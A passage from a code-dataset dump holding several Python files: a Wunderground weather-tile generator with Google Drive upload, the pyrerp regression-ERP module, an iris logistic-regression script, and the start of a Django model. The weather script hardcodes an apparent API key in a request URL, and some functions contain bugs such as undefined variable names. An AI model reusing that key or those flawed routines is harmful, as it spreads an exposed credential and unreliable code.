\\n\"\r\n\r\n html += \"\\n\"\r\n\r\n html += \"\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\n\"\r\n\r\n html += \"\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\n\"\r\n\r\n html += \"\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\n\"\r\n\r\n if (parsed_json['current_observation']['precip_today_in'] != '0.00' and parsed_json['current_observation']['precip_today_in'] != '10'):\r\n html += \"\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\n\"\r\n if parsed_json['current_observation']['heat_index_f'] != 'NA':\r\n html += \"\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\n\"\r\n if parsed_json['current_observation']['windchill_f'] != 'NA':\r\n html += \"\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\n\"\r\n html += \"
\" + str(int(round(parsed_json['current_observation']['temp_f'],0))) + \"°
Wind: \" + parsed_json['current_observation']['wind_string'] + \"
Humidity: \" + str(parsed_json['current_observation']['relative_humidity']) + \"
Precip: \" + str(parsed_json['current_observation']['precip_today_in']) + \"\\\"
Heat Index: \" + str(parsed_json['current_observation']['heat_index_f']) + \"°
Wind Chill: \" + str(parsed_json['current_observation']['windchill_f']) + \"°
\\n\"\r\n # print (htm)\r\n\r\n with open(\"/home/richard/www/actiontiles/weatherC.html\", mode='w+') as file:\r\n file.write(html)\r\n\r\n\r\n # ----------- Forecast\r\n forecast = urlopen('http://api.wunderground.com/api/4a9d1f189cf7f2f8/geolookup/forecast/q/39.262733,-94.641335.json')\r\n json_string = forecast.read()\r\n parsed_json = json.loads(json_string)\r\n # print (parsed_json)\r\n with open(\"/home/richard/www/actiontiles/weatherForecaset.json\", 'w+') as file:\r\n json.dump(parsed_json, file, indent=4)\r\n\r\n for x in range (0, 8):\r\n html = \"\\n\"\r\n html += \"\\n\"\r\n html += \"
\\n\"\r\n html += \"\\t
\\n\"\r\n html += \"\\t\\t\\n\"\r\n html += \"\\t\\t
\" + parsed_json['forecast']['txt_forecast']['forecastday'][x]['title'] + \"
\\n\"\r\n html += \"\\t\\t
High \" + parsed_json['forecast']['simpleforecast']['forecastday'][x//2]['high']['fahrenheit'] + \"° / Low \" + parsed_json['forecast']['simpleforecast']['forecastday'][x//2]['low']['fahrenheit'] + \"°
\\n\"\r\n html += \"\\t\\t
\" + parsed_json['forecast']['txt_forecast']['forecastday'][x]['fcttext'] + \"
\\n\"\r\n if parsed_json['forecast']['txt_forecast']['forecastday'][x]['pop'] != '0':\r\n html += \"\\t\\t
Precipitation Chance: \" + parsed_json['forecast']['txt_forecast']['forecastday'][x]['pop'] + \"%
\\n\"\r\n html += \"\\t
\\n\"\r\n html += \"
\\n\"\r\n\r\n with open(\"/home/richard/www/actiontiles/weather%s.html\" % x, mode='w+') as file:\r\n file.write(html)\r\n\r\n os.system(\"/usr/local/bin/phantomjs /home/richard/www/actiontiles/image_weather.js\")\r\n \r\nif __name__ == '__main__':\r\n filesAll = ['weather0.png', 'weather1.png', 'weather2.png', 'weather3.png', 'weather4.png', 'weather5.png', 'weather6.png', 'weather7.png', 'weatherC.png']\r\n path = \"/home/richard/www/actiontiles/\"\r\n createFiles()\r\n\r\n PARENT_ID = \"1AhP69pOQfB5bO3kOYG9ZBv7mah1Uv_eu\" #Google Drive directory ID for www/actiontiles\r\n \r\n authGoogle()\r\n print(\"\\nupdate files on Google Drive\")\r\n updateFileGoogleDrive(PARENT_ID, filesAll)\r\n","sub_path":"wunderground.py","file_name":"wunderground.py","file_ext":"py","file_size_in_byte":8422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"28011191","text":"# This file is part of pyrerp\n# Copyright (C) 2013 Nathaniel Smith \n# See file COPYING for license information.\n\nimport itertools\nfrom collections import namedtuple, OrderedDict\n\nimport numpy as np\nimport scipy.sparse as sp\nimport pandas\nfrom patsy import dmatrices, ModelDesc, Term, build_design_matrices\n\nfrom pyrerp.incremental_ls import XtXIncrementalLS\nfrom pyrerp.parimap import parimap_unordered\n\n# Can't use a namedtuple for this because we want __eq__ and __hash__ to use\n# identity semantics, not value semantics.\nclass _Epoch(object):\n def __init__(self, start_idx, ticks,\n design_row, design_offset, expanded_design_offset,\n rerp_idx, intrinsic_artifacts):\n self.start_idx = start_idx\n self.ticks = ticks\n self.design_row = design_row\n self.design_offset = design_offset\n self.expanded_design_offset = expanded_design_offset\n self.rerp_idx = rerp_idx\n self.intrinsic_artifacts = intrinsic_artifacts\n\nDataSpan = namedtuple(\"DataSpan\", [\"start\", \"stop\", \"epoch\", \"artifact\"])\nDataSubSpan = namedtuple(\"DataSubSpan\",\n [\"start\", \"stop\", \"epochs\", \"artifacts\"])\n\ndef multi_rerp_impl(data_set, rerp_specs, artifact_query, artifact_type_field,\n overlap_correction, regression_strategy,\n eval_env):\n # We need to be able to refer to individual recording spans in a\n # convenient, sortable way -- but Recording objects aren't sortable and\n # are otherwise inconvenient to work with. So we represent each\n # (Recording, span) pair by its index in the data_set.\n recspan_lengths = data_set.span_lengths\n recspan_intern_table = {}\n for (i, recording_and_span_id) in enumerate(recspan_lengths):\n recspan_intern_table[recording_and_span_id] = i\n\n # This list contains 3-tuples that record the position of interesting\n # events in the data, like epochs that are to be analyzed and\n # artifacts that are to be rejected. Each entry is of the form:\n # (start, stop, tag)\n # where tag is an arbitrary hashable object, and start and stop are\n # pairs (interned recording span, offset). (Most code just cares that\n # they sort correctly, though.) Artifacts use _Artifact objects,\n # epochs use _Epoch objects.\n spans = []\n\n # Get artifacts.\n spans.extend(_artifact_spans(recspan_intern_table, data_set,\n artifact_query, artifact_type_field))\n\n # And now get the events themselves, and calculate the associated epochs\n # (and any associated artifacts).\n epoch_span_info = _epoch_spans(recspan_intern_table,\n data_set, rerp_specs,\n eval_env)\n (rerp_infos, epoch_spans,\n design_width, expanded_design_width) = epoch_span_info\n spans.extend(epoch_spans)\n del epoch_spans, epoch_span_info\n\n # Now we have a list of all interesting events, and where they occur, but\n # it's organized so that for each event we can see where in the data it\n # happened. What we need is for each (interesting) position in the data,\n # to be see all events that are happening then. _epoch_subspans pulls out\n # subspans of the epoch spans, and annotates each with the epochs and\n # artifacts that apply to it.\n\n epochs_with_data = set()\n epochs_with_artifacts = set()\n total_wanted_ticks = 0\n total_good_ticks = 0\n total_overlap_ticks = 0\n total_overlap_multiplicity = 0\n artifact_counts = {}\n # _epoch_subspans gives us chunks of data that we would *like* to analyze,\n # along with the epochs and artifacts that are relevant to it. This\n # representation already incorporates the effects of having overlap\n # correction enabled or disabled; if overlap correction is disabled, then\n # we will have multiple spans that refer to the same data but with\n # different associated epochs. So have_multi_epoch_data in practice will\n # be True iff overlap_correction=True AND there are actually-overlapping\n # epochs.\n have_multi_epoch_data = False\n analysis_spans = []\n for epoch_subspan in _epoch_subspans(spans, overlap_correction):\n start, stop, epochs, artifacts = epoch_subspan\n assert epochs\n ticks = stop[1] - start[1]\n total_wanted_ticks += ticks\n if artifacts:\n epochs_with_artifacts.update(epochs)\n _count_artifacts(artifact_counts, ticks, artifacts)\n else:\n epochs_with_data.update(epochs)\n if len(epochs) > 1:\n have_multi_epoch_data = True\n total_overlap_ticks += ticks\n total_good_ticks += ticks\n total_overlap_multiplicity += ticks * len(epochs)\n analysis_spans.append((start, stop, epochs))\n\n for epoch in epochs_with_data:\n rerp_infos[epoch.rerp_idx][\"epochs_with_data\"] += 1\n for epoch in epochs_with_artifacts:\n rerp_infos[epoch.rerp_idx][\"epochs_with_artifacts\"] += 1\n partial_epochs = epochs_with_data.intersection(epochs_with_artifacts)\n regression_strategy = _choose_strategy(regression_strategy,\n bool(partial_epochs),\n have_multi_epoch_data)\n\n if regression_strategy == \"by-epoch\":\n worker = _ByEpochWorker(design_width)\n elif regression_strategy == \"continuous\":\n worker = _ContinuousWorker(expanded_design_width)\n else:\n assert False\n jobs_iter = _analysis_jobs(data_set, analysis_spans)\n model = XtXIncrementalLS()\n for job_result in parimap_unordered(worker, jobs_iter):\n model.append_bottom_half(job_result)\n result = model.fit()\n betas = result.coef()\n # For continuous fits, this has no effect. For by-epoch fits, it\n # rearranges the beta matrix so that each column contains results for one\n # channel, and the rows go:\n # predictor 1, latency 1\n # ...\n # predictor 1, latency n\n # predictor 2, latency 1\n # ...\n # predictor 2, latency n\n # ...\n betas = betas.reshape((-1, len(data_set.data_format.channel_names)))\n\n return rERPAnalysis(data_set.data_format,\n rerp_infos, overlap_correction, regression_strategy,\n total_wanted_ticks, total_good_ticks,\n total_overlap_ticks, total_overlap_multiplicity,\n artifact_counts, betas)\n\ndef _artifact_spans(recspan_intern_table,\n data_set, artifact_query, artifact_type_field):\n # Create \"artifacts\" to prevent us from trying to analyze any\n # data the falls outwith the bounds of our recordings.\n for recspan, length in data_set.span_lengths.iteritems():\n recspan_intern = recspan_intern_table[recspan]\n neg_inf = (recspan_intern, -2**31)\n zero = (recspan_intern, 0)\n end = (recspan_intern, length)\n pos_inf = (recspan_intern, 2**31)\n yield DataSpan(neg_inf, zero, None, \"_NO_RECORDING\")\n yield DataSpan(end, pos_inf, None, \"_NO_RECORDING\")\n\n # Now lookup the actual artifacts recorded in the events structure.\n for artifact_event in data_set.events.find(artifact_query):\n artifact_type = artifact_event.get(artifact_type_field, \"_UNKNOWN\")\n if not isinstance(artifact_type, basestring):\n raise TypeError(\"artifact type must be a string, not %r\"\n % (artifact_type,))\n recspan = (artifact_event.recording, artifact_event.span_id)\n recspan_intern = recspan_intern_table[recspan]\n yield DataSpan((recspan_intern, artifact_event.start_idx),\n (recspan_intern, artifact_event.stop_idx),\n None,\n artifact_type)\n\nclass _ArangeFactor(object):\n def __init__(self, n):\n self._n = n\n self.origin = None\n\n def name(self):\n return \"arange(%s)\" % (self._n,)\n\n def memorize_passes_needed(self, state):\n return 0\n\n def eval(self, state, data):\n return np.arange(self._n)\n\ndef _epoch_spans(recspan_intern_table, data_set, rerp_specs, eval_env):\n rerp_infos = []\n rerp_names = set()\n spans = []\n design_offset = 0\n expanded_design_offset = 0\n data_format = data_set.data_format\n for rerp_idx, rerp_spec in enumerate(rerp_specs):\n start_offset = data_format.ms_to_samples(rerp_spec.start_time)\n # Offsets are half open: [start, stop)\n # But, it's more intuitive for times to be closed: [start, stop]\n # So we interpret the user times as a closed interval, and add 1\n # sample when converting to offsets.\n stop_offset = 1 + data_format.ms_to_samples(rerp_spec.stop_time)\n if start_offset >= stop_offset:\n raise ValueError(\"Epochs must be >1 sample long!\")\n event_set = data_set.events.find(rerp_spec.event_query)\n # Tricky bit: the specifies a RHS-only formula, but really we have an\n # implicit LHS (determined by the event_query). This makes things\n # complicated when it comes to e.g. keeping track of which items\n # survived NA removal, determining the number of rows in an\n # intercept-only formula, etc. Really we want patsy to just treat all\n # this stuff the same way as it normally handles a LHS~RHS\n # formula. So, we convert our RHS formula into a LHS~RHS formula,\n # using a special LHS that represents each event by a placeholder\n # integer!\n desc = ModelDesc.from_formula(rerp_spec.formula, eval_env)\n if desc.lhs_termlist:\n raise ValueError(\"Formula cannot have a left-hand side\")\n desc.lhs_termlist = [Term([_ArangeFactor(len(event_set))])]\n fake_lhs, design = dmatrices(desc, event_set)\n surviving_event_idxes = np.asarray(fake_lhs, dtype=int).ravel()\n design_row_idxes = np.empty(len(event_set))\n design_row_idxes.fill(-1)\n design_row_idxes[surviving_event_idxes] = np.arange(design.shape[0])\n # Now design_row_idxes[i] is -1 if event i was thrown out, and\n # otherwise gives the row in 'design' which refers to event 'i'.\n for i in xrange(len(event_set)):\n event = event_set[i]\n # -1 for non-existent\n design_row_idx = design_row_idxes[i]\n recspan = (event.recording, event.span_id)\n recspan_intern = recspan_intern_table[recspan]\n epoch_start = start_offset + event.start_idx\n epoch_stop = stop_offset + event.start_idx\n if design_row_idx == -1:\n design_row = None\n else:\n design_row = design[design_row_idx, :]\n epoch = _Epoch(epoch_start, epoch_stop - epoch_start,\n design_row, design_offset, expanded_design_offset,\n rerp_idx, [])\n if design_row is None:\n # Event thrown out due to missing predictors; this\n # makes its whole epoch into an artifact -- but if overlap\n # correction is disabled, then this artifact only affects\n # this epoch, not anything else. (We still want to treat\n # it as an artifact though so we get proper accounting at\n # the end.)\n epoch.intrinsic_artifacts.append(\"_MISSING_PREDICTOR\")\n spans.append(DataSpan((recspan_intern, epoch_start),\n (recspan_intern, epoch_stop),\n epoch,\n None))\n if rerp_spec.name in rerp_names:\n raise ValueError(\"name %r used for two different sub-analyses\"\n % (rerp_spec.name,))\n rerp_names.add(rerp_spec.name)\n rerp_info = {\n \"spec\": rerp_spec,\n \"design_info\": design.design_info,\n \"start_offset\": start_offset,\n \"stop_offset\": stop_offset,\n \"design_offset\": design_offset,\n \"expanded_design_offset\": expanded_design_offset,\n \"total_epochs\": len(event_set),\n \"epochs_with_data\": 0,\n \"epochs_with_artifacts\": 0,\n }\n rerp_infos.append(rerp_info)\n design_offset += design.shape[1]\n epoch_samples = stop_offset - start_offset\n expanded_design_offset += epoch_samples * design.shape[1]\n\n return rerp_infos, spans, design_offset, expanded_design_offset\n\n################################################################\n# These span handling functions are rather confusing at first glance.\n#\n# General theory of operation:\n#\n# We have a list of when each artifact starts and stops, and when each\n# analysis epoch starts and stops.\n#\n# We want to know:\n# 1) Which spans of data are viable for analysis, and which events are live in\n# each? (This lets us construct the regression design matrix.)\n# 2) Which spans of data do we want to analyze, but can't because of\n# artifacts? And which artifacts? (This lets us keep track of which\n# artifacts are making us throw out data.)\n# 3) Are there any epochs in which some-but-not-all points are viable for\n# analysis? (This is needed to know whether the by-epoch regression\n# strategy is possible.)\n# 4) If overlap_correction=True, are there any epochs that do in fact overlap?\n# (This is needed to know whether the by-epoch regression\n# strategy is possible.)\n#\n# Annoying wrinkles that apply when overlap_correction=False:\n# In this mode, then each epoch effectively gets its own copy of the\n# data. Also, in this mode, most artifacts are shared across this virtual\n# copies, but there are some \"artifacts\" that are specific to a particular\n# epoch (specifically, those that have something to do with the event itself,\n# such as missing data).\n#\n# Our strategy:\n# Convert our input span-based representation into an event-based\n# representation, where an event is \"such-and-such starts happening at\n# position p\" or \"such-and-such stops happening at position p\". Then, we can\n# scan all such events from left to right, and incrementally generate a\n# representation of *all* epochs/artifacts are happening at each position.\n\ndef _epoch_subspans(spans, overlap_correction):\n state_changes = []\n for span in spans:\n start, stop, epoch, artifact = span\n state_changes.append((start, epoch, artifact, +1))\n state_changes.append((stop, epoch, artifact, -1))\n state_changes.sort()\n last_position = None\n current_epochs = {}\n current_artifacts = {}\n for position, epoch, artifact, change in state_changes:\n if (last_position is not None\n and position != last_position\n and current_epochs):\n if overlap_correction:\n effective_artifacts = set(current_artifacts)\n for epoch in current_epochs:\n effective_artifacts.update(epoch.intrinsic_artifacts)\n yield DataSubSpan(last_position, position,\n tuple(current_epochs),\n tuple(effective_artifacts))\n else:\n for epoch in current_epochs:\n effective_artifacts = set(current_artifacts)\n effective_artifacts.update(epoch.intrinsic_artifacts)\n yield DataSubSpan(last_position, position,\n (epoch,),\n tuple(effective_artifacts))\n for (state, state_dict) in [(epoch, current_epochs),\n (artifact, current_artifacts)]:\n if change == +1 and state not in state_dict:\n state_dict[state] = 0\n state_dict[state] += change\n if change == -1 and state_dict[state] == 0:\n del state_dict[state]\n last_position = position\n assert current_epochs == current_artifacts == {}\n\ndef _count_artifacts(counts, num_points, artifacts):\n for artifact in artifacts:\n if artifact not in counts:\n counts[artifact] = {\n \"total\": 0,\n \"unique\": 0,\n \"proportional\": 0,\n }\n subcounts = counts[artifact]\n subcounts[\"total\"] += num_points\n if len(artifacts) == 1:\n subcounts[\"unique\"] += num_points\n subcounts[\"proportional\"] += num_points * 1.0 / len(artifacts)\n\ndef _choose_strategy(requested_strategy,\n have_partial_epochs, have_multi_epoch_data):\n by_epoch_possible = not (have_partial_epochs or have_multi_epoch_data)\n if requested_strategy == \"continuous\":\n return requested_strategy\n elif requested_strategy == \"auto\":\n if by_epoch_possible:\n return \"by-epoch\"\n else:\n return \"continuous\"\n elif requested_strategy == \"by-epoch\":\n if not by_epoch_possible:\n reasons = []\n if have_partial_epochs:\n reasons.append(\"at least one epoch is partially but not \"\n \"fully eliminated by an artifact\")\n if overlap_correction and have_overlap:\n reasons.append(\"there is overlap and overlap correction was \"\n \"requested\")\n raise ValueError(\"'by-epoch' regression strategy is not possible \"\n \"because: \" + \"; also, \".join(reasons))\n else:\n return requested_strategy\n else:\n raise ValueError(\"Unknown regression strategy %r requested; must be \"\n \"\\\"by-epoch\\\", \\\"continuous\\\", or \\\"auto\\\"\"\n % (requested_strategy,))\n\ndef _analysis_jobs(data_set, analysis_spans):\n recspans = list(data_set.span_lengths)\n wanted_recspans = []\n for start, stop, epochs in analysis_spans:\n assert start[0] == stop[0]\n # Un-intern\n wanted_recspans.append(recspans[start[0]])\n data_iter = data_set.span_values(wanted_recspans)\n for data, analysis_span in itertools.izip(data_iter, analysis_spans):\n start, stop, epochs = analysis_span\n yield data[start[1]:stop[1], :], start[1], epochs\n\nclass _ByEpochWorker(object):\n def __init__(self, design_width):\n self._design_width = design_width\n\n def __call__(self, job):\n data, data_start_idx, epochs = job\n assert len(epochs) == 1\n epoch = epochs[0]\n assert epoch.start_idx == data_start_idx\n assert data.shape[0] == epoch.stop_idx - epoch.start_idx\n # XX FIXME: making this a sparse array could be more efficient\n x_strip = np.zeros((1, design_width))\n x_idx = slice(epoch.design_offset,\n epoch.design_offset + len(epoch.design_row))\n x_strip[x_idx] = epoch.design_row\n y_strip = data.reshape((1, -1))\n return XtXIncrementalLS.append_top_half(x_strip, y_strip)\n\nclass _ContinuousWorker(object):\n def __init__(self, expanded_design_width):\n self._expanded_design_width = expanded_design_width\n\n def __call__(self, job):\n data, data_start_idx, epochs = job\n nnz = 0\n for epoch in epochs:\n nnz += epoch.design_row.shape[0] * data.shape[0]\n design_data = np.empty(nnz, dtype=float)\n design_i = np.empty(nnz, dtype=int)\n design_j = np.empty(nnz, dtype=int)\n write_ptr = 0\n # This code would be more complicated if it couldn't rely on the\n # following facts:\n # - Every epoch in 'epochs' is guaranteed to span the entire chunk of\n # data, so we don't need to fiddle about finding start and end\n # positions, and every epoch generates the same number of non-zero\n # values.\n # - In a coo_matrix, if you have two different entries at the same (i,\n # j) coordinate, then they get added together. This is the correct\n # thing to do in our case (though it should be very rare -- in\n # practice I guess it only happens if you have two events of the\n # same type that occur at exactly the same time).\n for epoch in epochs:\n for i, x_value in enumerate(epoch.design_row):\n write_slice = slice(write_ptr, write_ptr + data.shape[0])\n write_ptr += data.shape[0]\n design_data[write_slice] = x_value\n design_i[write_slice] = np.arange(data.shape[0])\n col_start = epoch.expanded_design_offset\n col_start += i * epoch.ticks\n col_start += data_start_idx - epoch.start_idx\n design_j[write_slice] = np.arange(col_start,\n col_start + data.shape[0])\n x_strip_coo = sp.coo_matrix((design_data, (design_i, design_j)),\n shape=(data.shape[0],\n self._expanded_design_width))\n x_strip = x_strip_coo.tocsc()\n y_strip = data\n return XtXIncrementalLS.append_top_half(x_strip, y_strip)\n\nclass rERP(object):\n def __init__(self, rerp_info, data_format, betas):\n self.spec = rerp_info[\"spec\"]\n self.design_info = rerp_info[\"design_info\"]\n self.start_offset = rerp_info[\"start_offset\"]\n self.stop_offset = rerp_info[\"stop_offset\"]\n self.total_epochs = rerp_info[\"total_epochs\"]\n self.epochs_with_data = rerp_info[\"epochs_with_data\"]\n self.epochs_with_artifacts = rerp_info[\"epochs_with_artifacts\"]\n self.partial_epochs = ((self.epochs_with_data\n + self.epochs_with_artifacts)\n - self.total_epochs)\n self.data_format = data_format\n\n self.epoch_ticks = self.stop_offset - self.start_offset\n num_predictors = len(self.design_info.column_names)\n num_channels = len(self.data_format.channel_names)\n assert (num_predictors, self.epoch_ticks, num_channels) == betas.shape\n\n # This is always floating point (even if in fact all the values are\n # integers) which means that if you do regular [] indexing with\n # integers, then you will always get by-location indexing, and if you\n # use floating point values, you will always get by-label indexing.\n latencies = np.linspace(self.spec.start_time, self.spec.stop_time,\n self.epoch_ticks)\n\n self.data = pandas.Panel(betas,\n items=self.design_info.column_names,\n major_axis=latencies,\n minor_axis=self.data_format.channel_names)\n self.data.data_format = self.data_format\n\n def predict(self, predictors, which_terms=None):\n if which_terms is not None:\n builder = self.design_info.builder.subset(which_terms)\n columns = []\n column_idx = np.arange(len(self.design_info.column_names))\n for term_name in builder.design_info.term_names:\n slice_ = self.design_info.term_name_slices[term_name]\n columns.append(column_idx[slice_])\n betas_idx = np.concatenate(columns)\n else:\n builder = self.design_info.builder\n betas_idx = slice(None)\n design = build_design_matrices([builder], predictors,\n return_type=\"dataframe\")\n predicted = np.dot(np.asarray(design).T,\n np.asarray(self.data)[betas_idx, :, :])\n as_pandas = pandas.Panel(predicted,\n items=design.index,\n major_axis=self.data.major_axis,\n minor_axis=self.data.minor_axis)\n as_pandas.data_format = self.data_format\n return as_pandas\n\nclass rERPAnalysis(object):\n def __init__(self, data_format,\n rerp_infos, overlap_correction, regression_strategy,\n total_wanted_ticks, total_good_ticks,\n total_overlap_ticks, total_overlap_multiplicity,\n artifact_counts, betas):\n self.overlap_correction = overlap_correction\n self.regression_strategy = regression_strategy\n self.artifact_counts = artifact_counts\n self.total_wanted_ticks = total_wanted_ticks\n self.total_good_ticks = total_good_ticks\n self.total_bad_ticks = total_wanted_ticks - total_good_ticks\n self.total_overlap_ticks = total_overlap_ticks\n self.mean_overlap = total_overlap_multiplicity * 1.0 / total_good_ticks\n\n self.rerps = OrderedDict()\n for rerp_info in rerp_infos:\n i = rerp_info[\"expanded_design_offset\"]\n epoch_len = rerp_info[\"stop_offset\"] - rerp_info[\"start_offset\"]\n num_predictors = len(rerp_info[\"design_info\"].column_names)\n this_betas = betas[i:i + epoch_len * num_predictors, :]\n this_betas.resize((num_predictors, epoch_len, this_betas.shape[1]))\n self.rerps[rerp_info[\"spec\"].name] = rERP(rerp_info,\n data_format,\n this_betas)\n","sub_path":"pyrerp/rerp.py","file_name":"rerp.py","file_ext":"py","file_size_in_byte":25294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"575240759","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\n\r\nfont = matplotlib.font_manager.FontProperties(fname=r'/Library/Fonts/Songti.ttc') #调用中文字体,防止乱码\r\n\r\ndef sigmoid(z):\r\n return 1 / (1 + np.exp(-z))\r\n\r\ndef convert_data(datas):\r\n \"\"\"\r\n 转换读入数据为numpy.ndarray\r\n \"\"\"\r\n return np.array([[x['sepal_length'],x['sepal_width'],x['class']] for x in datas],dtype=float)\r\n\r\ndef process_data(data):\r\n \"\"\"\r\n 处理数据\r\n \"\"\"\r\n dataMatIn = data[:, 0:-1]\r\n classLabels = data[:, -1]\r\n dataMatIn = np.insert(dataMatIn, 0, 1, axis=1) #特征数据集,添加1是构造常数项x0\r\n return dataMatIn, classLabels\r\n\r\ndef stoc_grad_ascent(dataMatIn, classLabels, numIter=150):\r\n \"\"\"\r\n 随机梯度上升\r\n \"\"\"\r\n m, n = np.shape(dataMatIn)\r\n weights = np.ones(n)\r\n for j in range(numIter):\r\n dataIndex = list(range(m))\r\n for i in range(m):\r\n alpha = 4 / (1 + i + j) + 0.01 #保证多次迭代后新数据仍然有影响力\r\n randIndex = int(np.random.uniform(0, len(dataIndex)))\r\n h = sigmoid(sum(dataMatIn[i] * weights)) # 数值计算\r\n error = classLabels[i] - h\r\n weights = weights + alpha * error * dataMatIn[i]\r\n del(dataIndex[randIndex])\r\n return weights.tolist()\r\n\r\ndef plotBestFIt(data,weights,title=\"None\"):\r\n \"\"\"\r\n 结果绘图\r\n \"\"\"\r\n dataMatIn, classLabels = process_data(data)\r\n n = np.shape(dataMatIn)[0]\r\n xcord1 = []\r\n ycord1 = []\r\n xcord2 = []\r\n ycord2 = []\r\n for i in range(n):\r\n if classLabels[i] == 1:\r\n xcord1.append(dataMatIn[i][1])\r\n ycord1.append(dataMatIn[i][2])\r\n else:\r\n xcord2.append(dataMatIn[i][1])\r\n ycord2.append(dataMatIn[i][2])\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111)\r\n ax.scatter(xcord1, ycord1,s=30, c='red', marker='s')\r\n ax.scatter(xcord2, ycord2, s=30, c='green')\r\n x = np.arange(2, 8, 0.1)\r\n y = (-weights[0] - weights[1] * x) / weights[2] #matix\r\n ax.plot(x, y)\r\n plt.xlabel('X1')\r\n plt.ylabel('X2')\r\n plt.title(title,fontproperties=font)\r\n plt.show()\r\n\r\ndef read(file):\r\n \"\"\"\r\n 读取和处理数据,每条数据以dict存放\r\n \"\"\"\r\n with open(file) as file:\r\n txt=file.read().split('\\n')\r\n\r\n datas=[]\r\n dname=txt[0].split(',')\r\n\r\n for i in txt[1:]:\r\n datas.append(dict(zip(dname,i.split(','))))\r\n\r\n csf={\"Iris-setosa\":0,\"Iris-versicolor\":1,\"Iris-virginica\":2}\r\n for i in datas:\r\n i[\"class\"]=csf[i[\"class\"]]\r\n return datas\r\n\r\nif __name__ == '__main__':\r\n datas=read(r'/Users/fangzeqiang/Desktop/iris/iris.csv')\r\n \r\n trains=datas[:30]+datas[50:80] #用于训练的数据\r\n left=datas[31:51]+datas[81:101] #用于验证用的数据\r\n\r\n trains_array=convert_data(trains)\r\n left_array=convert_data(left)\r\n \r\n dataMatIn, classLabels=process_data(trains_array)\r\n weights=stoc_grad_ascent(dataMatIn, classLabels, numIter=150)\r\n\r\n plotBestFIt(trains_array,weights,\"训练数据\")\r\n plotBestFIt(left_array,weights,\"验证数据\")\r\n \r\n\r\n\r\n\r\n","sub_path":"logisticRegression_for_iris/iris.py","file_name":"iris.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"26235226","text":"from django.db import models\nfrom django.utils.text import slugify\nfrom django.db.models.signals import pre_save\nfrom django.core.exceptions import ValidationError\nfrom django.urls import reverse\nfrom django.conf import settings\nfrom django.core.validators import RegexValidator\n\n\nfrom snippet.models import Snippet\n\nACTIVE='A'\nDEACTIVE='D'\nSTATUS_CHOICES = (\n (ACTIVE, 'Active'),\n (DEACTIVE, 'Deactive'),\n )\n\n\n\nclass Item(models.Model):\n\tTEXTBOX ='TEXT'\n\tLIST ='LIST'\n\tRADIO ='RADIO'\n\tOPTION = 'OPTION'\n\tSCRIPT ='SCRIPT'\n\tPARAM_TYPE_CHOICES = (\n\t (TEXTBOX, 'Text Box'),\n\t (LIST, 'List Box'),\n\t (RADIO, 'Radio Box'),\n\t (OPTION, 'Option Box'),\n\t (SCRIPT, 'Script Data'),\n\t )\n\tname \t\t\t\t= models.CharField(max_length=50,\n\t\t\t\t\t\t\tvalidators=[\n\t\t\t\t\t\t\t\t\tRegexValidator(\n\t\t\t\t\t\t\t\t\t\tregex='^[\\w-]+$',\n\t\t\t\t\t\t\t\t\t\tmessage='Name does not allow special charecters',\n\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t])\n\ttitle \t\t\t\t= models.CharField(max_length=100,blank=True, null=True)\n\tdescription \t\t= models.TextField(max_length=255,blank=True, null=True)\n\t# product \t\t\t= models.ForeignKey(Product,\n\t# \t\t\t\t\t\ton_delete=models.SET_NULL,blank=True, null=True)\n\tslug \t\t\t\t= models.SlugField(unique=True,blank=True, null=True)\n\thelp_text \t\t\t= models.CharField(verbose_name='Help Text',max_length=100,blank=True, null=True)\n\tinput_type \t\t\t= models.CharField(verbose_name='Input Type',max_length=10,choices=PARAM_TYPE_CHOICES,default=TEXTBOX)\n\tdefault_value \t\t= models.CharField(verbose_name='Default Value',max_length=100,blank=True, null=True)\n\tregexp \t\t\t\t= models.CharField(verbose_name='RegExp Validation',max_length=100,blank=True, null=True,default='\\w')\n\tcategory1 \t\t\t= models.CharField(max_length=50,blank=True, null=True)\n\tcategory2 \t\t\t= models.CharField(max_length=50,blank=True, null=True)\n\tstatus \t\t\t\t= models.CharField(max_length=1,choices=STATUS_CHOICES,default=ACTIVE)\n\tcreated_date \t\t= models.DateTimeField(auto_now_add=True)\n\tmodified_date \t\t= models.DateTimeField(blank=True, null=True,auto_now=True)\n\tuser \t\t\t\t= models.ForeignKey(settings.AUTH_USER_MODEL,\n\t\t\t\t\t\t\ton_delete=models.SET_NULL,blank=True,null=True)\n\tsnippet \t\t\t= models.ForeignKey(Snippet, \n\t\t\t\t\t\t\ton_delete=models.SET_NULL,verbose_name='Snippet Code',\n\t\t\t\t\t\t\tblank=True, null=True,\n\t\t\t\t\t\t\trelated_name='items')\n\texpected_return \t= models.CharField(verbose_name='Expected Return',\n\t\t\t\t\t\t\tdefault='TRUE',max_length=100,blank=True, null=True)\n\trequired \t\t\t= models.BooleanField(default=False)\n\n\t# @property\n\tdef has_validation_code(self):\n\t\treturn True if (self.snippet) else False\n\thas_validation_code.boolean =True\n\thas_validation_code.short_description = 'Has Validation'\n\n\t@property\n\tdef item_count(self):\n\t\t# c = self.weight + self.runner\n\t\treturn self.lists.count()\n\titem_count.fget.short_description = \"Items count\"\n\n\tdef __str__(self):\n\t\treturn ('%s : %s' % (self.name,self.input_type))\n\n\tdef get_absolute_url(self):\n\t\treturn reverse('item:detail', kwargs={'slug': self.slug})\n\ndef create_item_slug(instance, new_slug=None):\n # import datetime\n default_slug = '%s-%s' % (instance.name,instance.input_type)\n slug = 